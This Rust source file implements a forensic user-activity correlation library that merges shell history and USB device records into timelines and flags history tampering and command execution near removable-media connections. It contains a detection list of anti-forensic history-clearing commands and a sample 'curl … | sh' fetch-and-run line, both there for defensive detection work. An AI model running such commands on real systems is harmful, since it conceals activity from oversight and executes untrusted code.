Skip to main content

useract_forensic/
lib.rs

1//! `useract-forensic` — the user-activity correlation layer.
2//!
3//! A thin **meta / orchestration** crate: it does not parse any raw format
4//! itself. It consumes already-decoded forensic reader types — today
5//! [`shellhist_core::HistoryEntry`] and [`peripheral_core::DeviceConnection`] —
6//! normalizes them into one uniform [`UserActivity`] event, builds a per-user
7//! timeline, and emits cross-source [`forensicnomicon::report::Finding`]s that no
8//! single source could produce alone.
9//!
10//! Every finding is an **observation** ("consistent with …"); the examiner draws
11//! the conclusions. MITRE techniques are narrated as consistency, never a verdict.
12//!
13//! ## 30-second example
14//!
15//! ```
16//! use useract_forensic::{build_timeline, audit, ShellHistorySource, DeviceSource};
17//! use shellhist_core::{HistoryEntry, Shell};
18//!
19//! // (sources are normally produced by the reader crates; constructed here inline)
20//! let entries = shellhist_core::parse_auto(b"#1700000000\ncurl http://x | sh\n", Some(".bash_history"));
21//! let shell = ShellHistorySource::new(&entries);
22//! let devices = DeviceSource::new(&[]);
23//!
24//! let timeline = build_timeline(&[&shell, &devices]);
25//! let findings = audit(&timeline);
26//! for f in &findings {
27//!     println!("{} — {}", f.code, f.note);
28//! }
29//! ```
30//!
31//! ## v0.2 roadmap
32//!
33//! New per-user sources slot in behind the [`ActivitySource`] trait without an API
34//! break: `lnk-core` (recent-file LNK, completing the **volume-serial join**),
35//! `shellbag-core` (folder access), `srum-core` (per-user app execution and network
36//! bytes by SID — the strongest source), and `winreg-artifacts`
37//! (UserAssist / RecentDocs / MRU / MountPoints2). See `docs/roadmap.md`.
38
39#![forbid(unsafe_code)]
40
41use forensicnomicon::report::{Category, ExternalRef, Finding, Severity, Source};
42use peripheral_core::{Bus, DeviceConnection};
43use shellhist_core::HistoryEntry;
44
45/// What a user did to a [`Subject`].
46#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
47pub enum Action {
48    /// Ran a program or command.
49    Executed,
50    /// Opened or read a file/folder.
51    Accessed,
52    /// Attached / connected a device.
53    Connected,
54    /// Issued a search query.
55    Searched,
56    /// Typed text (e.g. a typed URL / run-box entry).
57    Typed,
58    /// Disabled, cleared, or otherwise tampered with an activity record.
59    HistoryTampered,
60}
61
62/// The thing an [`Action`] was performed on.
63#[derive(Debug, Clone, PartialEq, Eq, Hash)]
64pub enum Subject {
65    /// A shell command or program invocation.
66    Command(String),
67    /// A file path.
68    File(String),
69    /// A folder path.
70    Folder(String),
71    /// An external device, with its volume serial kept distinct so a future LNK /
72    /// shellbag [`Subject::File`] carrying the same NTFS/FAT volume serial can be
73    /// joined to it (see [`device_file_volume_joins`]).
74    Device {
75        /// Device instance id (the stable primary key).
76        id: String,
77        /// NTFS/FAT volume serial of the device's volume, when known.
78        volume_serial: Option<u32>,
79    },
80    /// A search / lookup query.
81    Query(String),
82}
83
84/// Which reader the activity was normalized from.
85///
86/// Extensible: v0.2 adds `LnkFile`, `Shellbag`, `Srum`, `Registry` as new readers
87/// are published. Marked `#[non_exhaustive]` so adding a variant is non-breaking;
88/// consumers must use a `_` arm when matching.
89#[non_exhaustive]
90#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
91pub enum SourceKind {
92    /// `shellhist-core` — shell command history.
93    ShellHistory,
94    /// `peripheral-core` — external-device connections.
95    PeripheralDevice,
96}
97
98/// One normalized user-activity event: *who* did *what*, *when*, to *which* subject.
99#[derive(Debug, Clone, PartialEq, Eq)]
100pub struct UserActivity {
101    /// Unix epoch seconds, when the source records it. `None` when the source
102    /// carries no usable timestamp (e.g. plain bash / PowerShell PSReadLine).
103    pub timestamp: Option<i64>,
104    /// The acting user / SID, when the source attributes it. Most v0.1 sources do
105    /// not attribute a user; SRUM (v0.2) is the first by-SID source.
106    pub actor: Option<String>,
107    /// What was done.
108    pub action: Action,
109    /// What it was done to.
110    pub subject: Subject,
111    /// Which reader produced this event.
112    pub source: SourceKind,
113    /// A human-readable detail string for the event.
114    pub detail: String,
115}
116
117/// A producer of [`UserActivity`] events.
118///
119/// Implementing this trait is the v0.2 extension seam: a new reader wrapper
120/// (`lnk-core`, `shellbag-core`, `srum-core`, `winreg-artifacts`) implements
121/// `activities` and slots into [`build_timeline`] with no API change.
122pub trait ActivitySource {
123    /// The activities this source contributes to the timeline.
124    fn activities(&self) -> Vec<UserActivity>;
125}
126
127/// Does this shell command disable or clear command history?
128///
129/// Recognizes the common anti-forensic primitives across bash/zsh/PowerShell. The
130/// match is on structure (the verb + the well-known history target), not on a
131/// hardcoded full command line, so any member of the class is caught.
132fn is_history_tamper(cmd: &str) -> bool {
133    let c = cmd.to_ascii_lowercase();
134    let c = c.trim();
135    // bash/zsh: unset the history file, point it at the bit bucket, or clear it.
136    c.contains("unset histfile")
137        || c.contains("histfile=/dev/null")
138        || c.contains("histsize=0")
139        || c.contains("histfilesize=0")
140        || (c.contains("history") && (c.contains(" -c") || c.ends_with("-c")))
141        || c.contains("history -c")
142        // PowerShell PSReadLine history file removal.
143        || (c.contains("clear-history"))
144        || (c.contains("remove-item") && c.contains("consolehost_history"))
145        // Truncate/remove the history file directly.
146        || (c.contains("rm ") && c.contains(".bash_history"))
147        || (c.contains("rm ") && c.contains(".zsh_history"))
148        || (c.starts_with("> ") && c.contains("history"))
149}
150
151/// A [`ShellHistorySource`] wraps a borrowed slice of decoded history entries.
152///
153/// Each command becomes an [`Action::Executed`] [`UserActivity`]; a command that
154/// disables or clears history becomes an [`Action::HistoryTampered`] event instead
155/// (the clearing itself is the activity worth surfacing).
156pub struct ShellHistorySource<'a> {
157    entries: &'a [HistoryEntry],
158    actor: Option<String>,
159}
160
161impl<'a> ShellHistorySource<'a> {
162    /// Wrap decoded history entries with no attributed actor.
163    #[must_use]
164    pub fn new(entries: &'a [HistoryEntry]) -> Self {
165        Self {
166            entries,
167            actor: None,
168        }
169    }
170
171    /// Wrap decoded history entries, attributing them to a known user/account.
172    #[must_use]
173    pub fn for_actor(entries: &'a [HistoryEntry], actor: impl Into<String>) -> Self {
174        Self {
175            entries,
176            actor: Some(actor.into()),
177        }
178    }
179}
180
181impl ActivitySource for ShellHistorySource<'_> {
182    fn activities(&self) -> Vec<UserActivity> {
183        from_shell_history(self.entries, self.actor.as_deref())
184    }
185}
186
187/// Normalize a decoded shell-history stream into [`UserActivity`] events.
188///
189/// Each command → [`Action::Executed`]; a history-clearing command →
190/// [`Action::HistoryTampered`]. The `actor` (when known) is carried onto every
191/// event.
192#[must_use]
193pub fn from_shell_history(entries: &[HistoryEntry], actor: Option<&str>) -> Vec<UserActivity> {
194    entries
195        .iter()
196        .map(|e| {
197            let action = if is_history_tamper(&e.command) {
198                Action::HistoryTampered
199            } else {
200                Action::Executed
201            };
202            UserActivity {
203                timestamp: e.timestamp,
204                actor: actor.map(ToString::to_string),
205                action,
206                subject: Subject::Command(e.command.clone()),
207                source: SourceKind::ShellHistory,
208                detail: e.command.clone(),
209            }
210        })
211        .collect()
212}
213
214/// A [`DeviceSource`] wraps a borrowed slice of decoded device connections.
215///
216/// Each connection becomes an [`Action::Connected`] [`UserActivity`] whose
217/// [`Subject::Device`] carries the device instance id and the **volume serial**, so
218/// the v0.2 LNK/shellbag join can light up.
219pub struct DeviceSource<'a> {
220    connections: &'a [DeviceConnection],
221}
222
223impl<'a> DeviceSource<'a> {
224    /// Wrap decoded device connections.
225    #[must_use]
226    pub fn new(connections: &'a [DeviceConnection]) -> Self {
227        Self { connections }
228    }
229}
230
231impl ActivitySource for DeviceSource<'_> {
232    fn activities(&self) -> Vec<UserActivity> {
233        from_device_connections(self.connections)
234    }
235}
236
237/// Normalize a decoded device-connection stream into [`UserActivity`] events.
238///
239/// Each connection → [`Action::Connected`], carrying the device id and the volume
240/// serial. The timestamp is the device's first-install/first-seen stamp when the
241/// source recorded one.
242#[must_use]
243pub fn from_device_connections(connections: &[DeviceConnection]) -> Vec<UserActivity> {
244    connections
245        .iter()
246        .map(|c| {
247            let timestamp = c
248                .first_install
249                .or(c.last_arrival)
250                .or(c.last_install)
251                .map(|s| s.value);
252            UserActivity {
253                timestamp,
254                actor: None,
255                action: Action::Connected,
256                subject: Subject::Device {
257                    id: c.device_instance_id.clone(),
258                    volume_serial: c.volume_serial,
259                },
260                source: SourceKind::PeripheralDevice,
261                detail: c.device_instance_id.clone(),
262            }
263        })
264        .collect()
265}
266
267/// Merge any number of [`ActivitySource`]s into one timeline, sorted by timestamp.
268///
269/// Events with a timestamp come first in ascending epoch order; `None`-timestamp
270/// events are kept (their order is forensically meaningful too) and ordered stably
271/// at the end, preserving source/insertion order among themselves.
272#[must_use]
273pub fn build_timeline(sources: &[&dyn ActivitySource]) -> Vec<UserActivity> {
274    let mut events: Vec<UserActivity> = sources.iter().flat_map(|s| s.activities()).collect();
275    // Stable sort keeps None-timestamp events in source order; the key puts
276    // timestamped events first (ascending), untimestamped last.
277    events.sort_by_key(|e| (e.timestamp.is_none(), e.timestamp.unwrap_or(i64::MAX)));
278    events
279}
280
281/// The default temporal window (seconds) for the exec-during-removable-media join.
282///
283/// One hour: wide enough to catch a command run while a stick is mounted, tight
284/// enough to keep the temporal coincidence meaningful and the false-positive rate
285/// low.
286pub const REMOVABLE_MEDIA_WINDOW_SECS: i64 = 3600;
287
288/// The [`Source`] stamp for findings this analyzer emits.
289#[must_use]
290pub fn source(scope: impl Into<String>) -> Source {
291    Source {
292        analyzer: "useract-forensic".to_string(),
293        scope: scope.into(),
294        version: Some(env!("CARGO_PKG_VERSION").to_string()),
295    }
296}
297
298/// Generic volume-serial join: pair every [`Subject::Device`] activity with every
299/// [`Subject::File`] / [`Subject::Folder`] activity that names the **same volume
300/// serial**.
301///
302/// This is the v0.2 seam: today no v0.1 source emits a `File`/`Folder` subject that
303/// carries a volume serial, so the join returns nothing — but it is implemented
304/// generically over [`UserActivity`], so the moment an `lnk-core` / `shellbag-core`
305/// source contributes file activities tagged with a volume serial, the join lights
306/// up with no change here. Returns `(device_index, file_index)` pairs into `events`.
307///
308/// A file/folder subject advertises its volume serial via the `vol:<serial>` token
309/// convention in its [`UserActivity::detail`] (the seam the v0.2 readers will use);
310/// v0.1 file sources do not exist yet, so this is exercised by a synthetic event in
311/// tests to prove the join is correct by construction.
312#[must_use]
313pub fn device_file_volume_joins(events: &[UserActivity]) -> Vec<(usize, usize)> {
314    let mut pairs = Vec::new();
315    for (di, dev) in events.iter().enumerate() {
316        let Subject::Device {
317            volume_serial: Some(dev_serial),
318            ..
319        } = &dev.subject
320        else {
321            continue;
322        };
323        for (fi, file) in events.iter().enumerate() {
324            let is_file = matches!(file.subject, Subject::File(_) | Subject::Folder(_));
325            if is_file && file_volume_serial(file) == Some(*dev_serial) {
326                pairs.push((di, fi));
327            }
328        }
329    }
330    pairs
331}
332
333/// Extract the `vol:<serial>` volume-serial hint a file/folder activity advertises,
334/// if any. The convention the v0.2 LNK/shellbag sources will populate.
335fn file_volume_serial(activity: &UserActivity) -> Option<u32> {
336    for tok in activity.detail.split_whitespace() {
337        if let Some(rest) = tok.strip_prefix("vol:") {
338            if let Ok(serial) = rest.parse::<u32>() {
339                return Some(serial);
340            }
341        }
342    }
343    None
344}
345
346/// Audit a merged timeline for cross-source user-activity findings.
347///
348/// Emits hedged, low-false-positive observations achievable from the v0.1 sources:
349///
350/// - `USERACT-EXEC-DURING-REMOVABLE-MEDIA` — a shell command executed within
351///   [`REMOVABLE_MEDIA_WINDOW_SECS`] of a removable mass-storage device connection
352///   (temporal cross-source join). Consistent with activity involving external
353///   media (MITRE T1052 / T1091).
354/// - `USERACT-HISTORY-TAMPERED` — a history-clearing activity present in the
355///   timeline (re-surfaced at the user-activity layer; MITRE T1070.003).
356///
357/// Every finding is an observation, never a verdict.
358#[must_use]
359pub fn audit(events: &[UserActivity]) -> Vec<Finding> {
360    audit_with(events, &source("host"))
361}
362
363/// [`audit`] with a caller-supplied [`Source`] stamp (scope/version).
364#[must_use]
365pub fn audit_with(events: &[UserActivity], src: &Source) -> Vec<Finding> {
366    let mut findings = Vec::new();
367
368    // Removable mass-storage connection windows: (epoch, device id).
369    //
370    // Eligibility is derived structurally from the device instance id's leading
371    // enumerator token (`USBSTOR`, `USB`, `SD`, `SCSI`, …) via the published
372    // `peripheral_core::Bus` classifier — not a hardcoded device list — so any
373    // mass-storage member of the class qualifies and HID/Bluetooth/MTP devices do
374    // not.
375    let media_windows: Vec<(i64, &str)> = events
376        .iter()
377        .filter_map(|e| match (&e.action, &e.subject, e.timestamp) {
378            (Action::Connected, Subject::Device { id, .. }, Some(ts)) if is_mass_storage_id(id) => {
379                Some((ts, id.as_str()))
380            }
381            _ => None,
382        })
383        .collect();
384
385    for event in events {
386        // USERACT-HISTORY-TAMPERED — re-surface the clearing signal here.
387        if event.action == Action::HistoryTampered {
388            findings.push(history_tampered_finding(event, src));
389            continue;
390        }
391
392        // USERACT-EXEC-DURING-REMOVABLE-MEDIA — temporal cross-source join.
393        if let (Action::Executed, Some(ts), Subject::Command(cmd)) =
394            (event.action, event.timestamp, &event.subject)
395        {
396            if let Some((win_ts, dev_id)) = media_windows
397                .iter()
398                .find(|(dev_ts, _)| (ts - dev_ts).abs() <= REMOVABLE_MEDIA_WINDOW_SECS)
399            {
400                findings.push(exec_during_media_finding(cmd, ts, *win_ts, dev_id, src));
401            }
402        }
403    }
404
405    findings
406}
407
408/// Is this device instance id a removable mass-storage transport?
409///
410/// Classifies the leading enumerator token (the part before the first `\`) with the
411/// published [`peripheral_core::Bus`] classifier. A bare id with no separator is
412/// treated as its own enumerator. Structural, not a device allow-list.
413fn is_mass_storage_id(instance_id: &str) -> bool {
414    let enumerator = instance_id.split('\\').next().unwrap_or(instance_id);
415    Bus::from_enumerator(enumerator).is_mass_storage()
416}
417
418fn history_tampered_finding(event: &UserActivity, src: &Source) -> Finding {
419    let cmd = match &event.subject {
420        Subject::Command(c) => c.as_str(),
421        _ => event.detail.as_str(),
422    };
423    Finding::observation(
424        Severity::Medium,
425        Category::Concealment,
426        "USERACT-HISTORY-TAMPERED",
427    )
428    .source(src.clone())
429    .note(format!(
430        "user activity {cmd:?} disables or clears the activity record; consistent with \
431             anti-forensic history tampering (MITRE T1070.003)"
432    ))
433    .evidence("command", cmd.to_string())
434    .external_ref(ExternalRef::mitre_attack("T1070.003"))
435    .build()
436}
437
438fn exec_during_media_finding(
439    cmd: &str,
440    cmd_ts: i64,
441    dev_ts: i64,
442    dev_id: &str,
443    src: &Source,
444) -> Finding {
445    Finding::observation(
446        Severity::Low,
447        Category::Threat,
448        "USERACT-EXEC-DURING-REMOVABLE-MEDIA",
449    )
450    .source(src.clone())
451    .note(format!(
452        "the command {cmd:?} ran within {REMOVABLE_MEDIA_WINDOW_SECS}s of removable mass-storage \
453         device {dev_id:?} being connected; consistent with activity involving external media \
454         (MITRE T1052 / T1091)"
455    ))
456    .evidence("command", cmd.to_string())
457    .evidence("device", dev_id.to_string())
458    .evidence("command_epoch", cmd_ts.to_string())
459    .evidence("device_epoch", dev_ts.to_string())
460    .external_ref(ExternalRef::mitre_attack("T1052"))
461    .external_ref(ExternalRef::mitre_attack("T1091"))
462    .build()
463}
464
465#[cfg(test)]
466mod tests {
467    use super::*;
468    use peripheral_core::{Bus, Provenance, Stamp};
469    use shellhist_core::{HistoryEntry, Shell};
470
471    fn entry(cmd: &str, ts: Option<i64>) -> HistoryEntry {
472        HistoryEntry {
473            shell: Shell::Bash,
474            command: cmd.to_string(),
475            timestamp: ts,
476            elapsed: None,
477            paths: Vec::new(),
478        }
479    }
480
481    fn device(
482        instance_id: &str,
483        bus: Bus,
484        first_install: Option<i64>,
485        vol: Option<u32>,
486    ) -> DeviceConnection {
487        DeviceConnection {
488            bus,
489            device_class_guid: None,
490            vid: None,
491            pid: None,
492            device_serial: None,
493            serial_is_os_generated: false,
494            friendly_name: None,
495            device_instance_id: instance_id.to_string(),
496            first_install: first_install.map(Stamp::authoritative),
497            last_install: None,
498            last_arrival: None,
499            last_removal: None,
500            parent_id_prefix: None,
501            volume_guid: None,
502            drive_letter: None,
503            volume_serial: vol,
504            disk_signature: None,
505            dma_capable: bus.is_dma_capable(),
506            mitre: Vec::new(),
507            source: Provenance {
508                file: "setupapi.dev.log".to_string(),
509                line: 1,
510            },
511        }
512    }
513
514    // ── from_shell_history ────────────────────────────────────────────────────
515
516    #[test]
517    fn shell_command_becomes_executed_activity() {
518        let entries = [entry("ls -la /tmp", Some(1_700_000_000))];
519        let acts = from_shell_history(&entries, None);
520        assert_eq!(acts.len(), 1);
521        assert_eq!(acts[0].action, Action::Executed);
522        assert_eq!(acts[0].source, SourceKind::ShellHistory);
523        assert_eq!(acts[0].timestamp, Some(1_700_000_000));
524        assert_eq!(acts[0].subject, Subject::Command("ls -la /tmp".to_string()));
525        assert_eq!(acts[0].actor, None);
526    }
527
528    #[test]
529    fn shell_actor_is_carried_when_known() {
530        let entries = [entry("whoami", None)];
531        let acts = from_shell_history(&entries, Some("alice"));
532        assert_eq!(acts[0].actor.as_deref(), Some("alice"));
533    }
534
535    #[test]
536    fn history_clearing_command_becomes_tampered() {
537        for cmd in [
538            "unset HISTFILE",
539            "history -c",
540            "export HISTFILE=/dev/null",
541            "Clear-History",
542            "rm ~/.bash_history",
543        ] {
544            let entries = [entry(cmd, Some(1))];
545            let acts = from_shell_history(&entries, None);
546            assert_eq!(acts[0].action, Action::HistoryTampered);
547        }
548    }
549
550    #[test]
551    fn benign_command_is_not_tampered() {
552        let entries = [entry("git log --oneline", Some(1))];
553        let acts = from_shell_history(&entries, None);
554        assert_eq!(acts[0].action, Action::Executed);
555    }
556
557    // ── from_device_connections ───────────────────────────────────────────────
558
559    #[test]
560    fn device_becomes_connected_with_volume_serial() {
561        let conns = [device(
562            "USBSTOR\\Disk&Ven_SanDisk\\1234567890AB",
563            Bus::Usb,
564            Some(1_700_000_500),
565            Some(0xDEAD_BEEF),
566        )];
567        let acts = from_device_connections(&conns);
568        assert_eq!(acts.len(), 1);
569        assert_eq!(acts[0].action, Action::Connected);
570        assert_eq!(acts[0].source, SourceKind::PeripheralDevice);
571        assert_eq!(acts[0].timestamp, Some(1_700_000_500));
572        assert_eq!(
573            acts[0].subject,
574            Subject::Device {
575                id: "USBSTOR\\Disk&Ven_SanDisk\\1234567890AB".to_string(),
576                volume_serial: Some(0xDEAD_BEEF),
577            }
578        );
579    }
580
581    #[test]
582    fn device_timestamp_falls_back_through_stamps() {
583        let mut conn = device("USB\\VID_0781", Bus::Usb, None, None);
584        conn.last_arrival = Some(Stamp::inferred(42));
585        let acts = from_device_connections(&[conn]);
586        assert_eq!(acts[0].timestamp, Some(42));
587    }
588
589    #[test]
590    fn device_without_any_stamp_has_no_timestamp() {
591        let conn = device("USB\\VID_0781", Bus::Usb, None, None);
592        let acts = from_device_connections(&[conn]);
593        assert_eq!(acts[0].timestamp, None);
594    }
595
596    // ── build_timeline ────────────────────────────────────────────────────────
597
598    #[test]
599    fn timeline_merges_and_sorts_by_timestamp() {
600        let entries = [entry("late", Some(300)), entry("early", Some(100))];
601        let conns = [device("USBSTOR\\x", Bus::Usb, Some(200), None)];
602        let shell = ShellHistorySource::new(&entries);
603        let devices = DeviceSource::new(&conns);
604        let tl = build_timeline(&[&shell, &devices]);
605        let ts: Vec<Option<i64>> = tl.iter().map(|e| e.timestamp).collect();
606        assert_eq!(ts, vec![Some(100), Some(200), Some(300)]);
607    }
608
609    #[test]
610    fn timeline_orders_untimestamped_events_last_and_stably() {
611        let entries = [
612            entry("no_ts_a", None),
613            entry("ts", Some(50)),
614            entry("no_ts_b", None),
615        ];
616        let shell = ShellHistorySource::new(&entries);
617        let tl = build_timeline(&[&shell]);
618        assert_eq!(tl[0].timestamp, Some(50));
619        assert_eq!(tl[1].detail, "no_ts_a");
620        assert_eq!(tl[2].detail, "no_ts_b");
621    }
622
623    // ── audit: USERACT-HISTORY-TAMPERED ───────────────────────────────────────
624
625    #[test]
626    fn audit_surfaces_history_tampered() {
627        let entries = [entry("unset HISTFILE", Some(10))];
628        let acts = from_shell_history(&entries, None);
629        let findings = audit(&acts);
630        let f = findings
631            .iter()
632            .find(|f| f.code == "USERACT-HISTORY-TAMPERED")
633            .expect("history-tampered finding must fire");
634        assert_eq!(f.severity, Some(Severity::Medium));
635        assert_eq!(f.category, Category::Concealment);
636    }
637
638    // ── audit: USERACT-EXEC-DURING-REMOVABLE-MEDIA ────────────────────────────
639
640    #[test]
641    fn audit_fires_exec_during_removable_media_within_window() {
642        let entries = [entry("tar czf /media/usb/out.tgz .", Some(1_000))];
643        let conns = [device("USBSTOR\\Disk", Bus::Usb, Some(1_500), None)];
644        let shell = ShellHistorySource::new(&entries);
645        let devices = DeviceSource::new(&conns);
646        let tl = build_timeline(&[&shell, &devices]);
647        let findings = audit(&tl);
648        assert!(findings
649            .iter()
650            .any(|f| f.code == "USERACT-EXEC-DURING-REMOVABLE-MEDIA"));
651    }
652
653    #[test]
654    fn audit_does_not_fire_outside_window() {
655        let entries = [entry("ls", Some(1_000))];
656        let conns = [device(
657            "USBSTOR\\Disk",
658            Bus::Usb,
659            Some(1_000 + REMOVABLE_MEDIA_WINDOW_SECS + 1),
660            None,
661        )];
662        let shell = ShellHistorySource::new(&entries);
663        let devices = DeviceSource::new(&conns);
664        let tl = build_timeline(&[&shell, &devices]);
665        let findings = audit(&tl);
666        assert!(findings
667            .iter()
668            .all(|f| f.code != "USERACT-EXEC-DURING-REMOVABLE-MEDIA"));
669    }
670
671    #[test]
672    fn audit_does_not_fire_for_non_mass_storage_device() {
673        // A Bluetooth HID device is NOT mass storage → no exec-during-media finding.
674        let entries = [entry("ls", Some(1_000))];
675        let conns = [device("BTHENUM\\Dev", Bus::Bluetooth, Some(1_000), None)];
676        let shell = ShellHistorySource::new(&entries);
677        let devices = DeviceSource::new(&conns);
678        let tl = build_timeline(&[&shell, &devices]);
679        let findings = audit(&tl);
680        assert!(findings
681            .iter()
682            .all(|f| f.code != "USERACT-EXEC-DURING-REMOVABLE-MEDIA"));
683    }
684
685    #[test]
686    fn audit_with_custom_source_stamps_scope() {
687        let entries = [entry("history -c", Some(1))];
688        let acts = from_shell_history(&entries, None);
689        let findings = audit_with(&acts, &source("CASE-001/host-7"));
690        let f = &findings[0];
691        assert_eq!(f.source.scope, "CASE-001/host-7");
692        assert_eq!(f.source.analyzer, "useract-forensic");
693    }
694
695    // ── findings are observations, never verdicts ─────────────────────────────
696
697    #[test]
698    fn findings_are_hedged_observations_never_verdicts() {
699        let entries = [
700            entry("unset HISTFILE", Some(1_000)),
701            entry("cp x /media/usb", Some(1_010)),
702        ];
703        let conns = [device("USBSTOR\\Disk", Bus::Usb, Some(1_005), None)];
704        let shell = ShellHistorySource::new(&entries);
705        let devices = DeviceSource::new(&conns);
706        let tl = build_timeline(&[&shell, &devices]);
707        let findings = audit(&tl);
708        assert!(!findings.is_empty());
709        for f in &findings {
710            let note = f.note.to_ascii_lowercase();
711            assert!(!note.contains("proves"));
712            assert!(!note.contains("confirms"));
713            assert!(!note.contains("definitely"));
714            assert!(note.contains("consistent with"));
715        }
716    }
717
718    // ── volume-serial join seam (v0.2 activation, proven by construction) ──────
719
720    #[test]
721    fn volume_serial_join_is_empty_for_v01_sources() {
722        // v0.1 emits no File/Folder subjects carrying a volume serial → no joins.
723        let conns = [device("USBSTOR\\Disk", Bus::Usb, Some(1), Some(0x1234))];
724        let acts = from_device_connections(&conns);
725        assert!(device_file_volume_joins(&acts).is_empty());
726    }
727
728    #[test]
729    fn volume_serial_join_lights_up_for_a_v02_style_file_event() {
730        // A synthetic v0.2-shape File activity advertising the same volume serial as
731        // a connected device joins to it — proving the seam is correct by construction.
732        let conns = [device("USBSTOR\\Disk", Bus::Usb, Some(1), Some(0x1234))];
733        let mut acts = from_device_connections(&conns);
734        acts.push(UserActivity {
735            timestamp: Some(2),
736            actor: None,
737            action: Action::Accessed,
738            subject: Subject::File("\\\\?\\E:\\secret.docx".to_string()),
739            source: SourceKind::PeripheralDevice, // placeholder until LnkFile exists
740            detail: "opened E:\\secret.docx vol:4660".to_string(), // 0x1234 == 4660
741        });
742        let joins = device_file_volume_joins(&acts);
743        assert_eq!(joins, vec![(0, 1)]);
744    }
745
746    #[test]
747    fn volume_serial_join_ignores_mismatched_serials() {
748        let conns = [device("USBSTOR\\Disk", Bus::Usb, Some(1), Some(0x1234))];
749        let mut acts = from_device_connections(&conns);
750        acts.push(UserActivity {
751            timestamp: Some(2),
752            actor: None,
753            action: Action::Accessed,
754            subject: Subject::File("x".to_string()),
755            source: SourceKind::PeripheralDevice,
756            detail: "vol:9999".to_string(),
757        });
758        assert!(device_file_volume_joins(&acts).is_empty());
759    }
760
761    #[test]
762    fn volume_serial_join_skips_files_without_a_volume_token() {
763        // A folder activity that advertises no `vol:` token never joins (the
764        // file_volume_serial None path).
765        let conns = [device("USBSTOR\\Disk", Bus::Usb, Some(1), Some(0x1234))];
766        let mut acts = from_device_connections(&conns);
767        acts.push(UserActivity {
768            timestamp: Some(2),
769            actor: None,
770            action: Action::Accessed,
771            subject: Subject::Folder("E:\\photos".to_string()),
772            source: SourceKind::PeripheralDevice,
773            detail: "opened folder with no serial hint".to_string(),
774        });
775        // And a file whose `vol:` token is non-numeric (parse Err path) also never joins.
776        acts.push(UserActivity {
777            timestamp: Some(3),
778            actor: None,
779            action: Action::Accessed,
780            subject: Subject::File("E:\\x".to_string()),
781            source: SourceKind::PeripheralDevice,
782            detail: "vol:notanumber".to_string(),
783        });
784        assert!(device_file_volume_joins(&acts).is_empty());
785    }
786
787    #[test]
788    fn history_tampered_finding_falls_back_to_detail_for_non_command_subject() {
789        // Defensive: a HistoryTampered activity whose subject is not a Command still
790        // produces a finding, using detail for the command text.
791        let act = UserActivity {
792            timestamp: Some(1),
793            actor: None,
794            action: Action::HistoryTampered,
795            subject: Subject::File("ConsoleHost_history.txt".to_string()),
796            source: SourceKind::ShellHistory,
797            detail: "Remove-Item ConsoleHost_history.txt".to_string(),
798        };
799        let findings = audit(&[act]);
800        assert_eq!(findings.len(), 1);
801        assert_eq!(findings[0].code, "USERACT-HISTORY-TAMPERED");
802        assert!(findings[0]
803            .note
804            .contains("Remove-Item ConsoleHost_history.txt"));
805    }
806
807    #[test]
808    fn is_mass_storage_id_classifies_bare_and_separated_ids() {
809        assert!(is_mass_storage_id("USBSTOR\\Disk&Ven"));
810        assert!(is_mass_storage_id("USBSTOR"));
811        assert!(!is_mass_storage_id("BTHENUM\\Dev"));
812        assert!(!is_mass_storage_id(""));
813    }
814
815    #[test]
816    fn activitysource_trait_dispatches() {
817        let entries = [entry("ls", Some(1))];
818        let s = ShellHistorySource::for_actor(&entries, "bob");
819        let acts: Vec<UserActivity> = s.activities();
820        assert_eq!(acts[0].actor.as_deref(), Some("bob"));
821    }
822}